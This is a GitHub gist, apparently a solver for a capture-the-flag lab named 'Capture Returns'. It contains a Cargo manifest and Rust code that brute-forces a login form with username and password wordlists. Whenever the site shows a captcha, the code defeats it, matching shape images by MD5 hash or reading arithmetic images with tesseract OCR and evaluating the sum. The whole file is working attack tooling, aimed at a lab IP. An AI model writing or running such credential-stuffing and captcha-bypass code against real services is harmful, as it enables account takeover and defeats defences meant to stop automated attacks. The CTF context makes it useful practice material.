Last active
November 9, 2023 19:54
-
-
Save ChrisPritchard/f56b86f336059a1a0eedf7cb7af93ebc to your computer and use it in GitHub Desktop.
Capture Returns solver
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[package] | |
name = "capture-returns" | |
version = "0.1.0" | |
edition = "2021" | |
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html | |
[dependencies] | |
base64 = "0.21.5" | |
eval = "0.4.3" | |
md5 = "0.7.0" | |
reqwest = { version = "0.11.22", features = ["blocking"] } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// should be placed in /src/main.rs as normal | |
use std::{collections::HashMap, process::{Command, Stdio}}; | |
use reqwest::{blocking::Client, Proxy, redirect::Policy}; | |
use base64::{engine::general_purpose, Engine as _}; | |
use eval::eval; | |
const USERNAMES_DATA: &str = include_str!("../usernames.txt"); // these two files from the challenge should be next to Cargo.toml | |
const PASSWORDS_DATA: &str = include_str!("../passwords.txt"); | |
fn main() { | |
let target_ip = "10.10.201.232"; // update to target machine ip | |
let usernames: Vec<&str> = USERNAMES_DATA.split_ascii_whitespace().collect(); | |
let passwords: Vec<&str> = PASSWORDS_DATA.split_ascii_whitespace().collect(); | |
let proxy = Proxy::http("http://172.23.160.1:8080").unwrap(); // remove if you don't need to proxy - this was used to send data through burp | |
let client = Client::builder() | |
.pool_max_idle_per_host(0) | |
.pool_idle_timeout(None) | |
.redirect(Policy::none()) | |
.proxy(proxy).build().unwrap(); // again remove .proxy(proxy) if you dont need a proxy | |
let url = format!("http://{target_ip}/login"); | |
for username in usernames.iter() { | |
for password in passwords.iter() { | |
println!("{username}:{password}"); | |
let mut form_data = HashMap::new(); | |
form_data.insert("username", username); | |
form_data.insert("password", password); | |
let response = client.post(&url) | |
.form(&form_data) | |
.send().unwrap(); | |
let body = response.text().unwrap(); | |
if body.contains("Invalid username or password") { | |
continue; | |
} else if body.contains("You need to successfully solve 3 captchas in a row") { | |
let mut result = body.to_string(); | |
while result.contains("You need to successfully solve 3 captchas in a row") { | |
result = solve_capture_body(&client, &url, &result); | |
} | |
} else { | |
println!("{body}"); | |
return; | |
} | |
} | |
} | |
} | |
fn solve_capture_body(client: &Client, url: &str, body: &str) -> String { | |
let image_start = body.find("data:image/png;base64,").unwrap() + 22; | |
let image_end = body[image_start..].find("\">").unwrap(); | |
let image_base64 = &body[image_start..image_start+image_end]; // could be done with regex but bah | |
let answer = | |
if body.contains("Describe the shape below") { | |
let image_bytes = general_purpose::STANDARD.decode(image_base64).unwrap(); | |
let digest = md5::compute(image_bytes); | |
let digest = format!("{:x}", digest); | |
match digest.as_str() { | |
"b889710920400c282aa6c665d7a0aef0" => "square".to_string(), | |
"083db3907af568c3f08e516949bab93e" => "circle".to_string(), | |
"8743634f70b2d273a8eaf64412c96490" => "triangle".to_string(), | |
_ => { | |
println!("unknown image"); | |
"".to_string() | |
} | |
} | |
} else { | |
let cmd1 = Command::new("echo") | |
.arg("-n") | |
.arg(image_base64) | |
.stdout(Stdio::piped()) | |
.spawn() | |
.expect("Failed to start command1"); | |
let cmd2 = Command::new("base64") | |
.arg("-d") | |
.stdin(Stdio::from(cmd1.stdout.unwrap())) | |
.stdout(Stdio::piped()) | |
.spawn() | |
.expect("Failed to start command2"); | |
let cmd3 = Command::new("tesseract") | |
.arg("stdin") | |
.arg("stdout") | |
.stdin(Stdio::from(cmd2.stdout.unwrap())) | |
.output() | |
.expect("Failed to start command3"); | |
let result = String::from_utf8_lossy(&cmd3.stdout); | |
let result = result.replace("?", "").replace("=", ""); | |
let equation = result.trim(); | |
let result = eval(equation).unwrap(); | |
format!("{result}") | |
}; | |
println!("capture_answer: {answer}"); | |
let mut form_data = HashMap::new(); | |
form_data.insert("captcha", answer); | |
let response = client.post(url) | |
.form(&form_data) | |
.send().unwrap(); | |
response.text().unwrap() | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment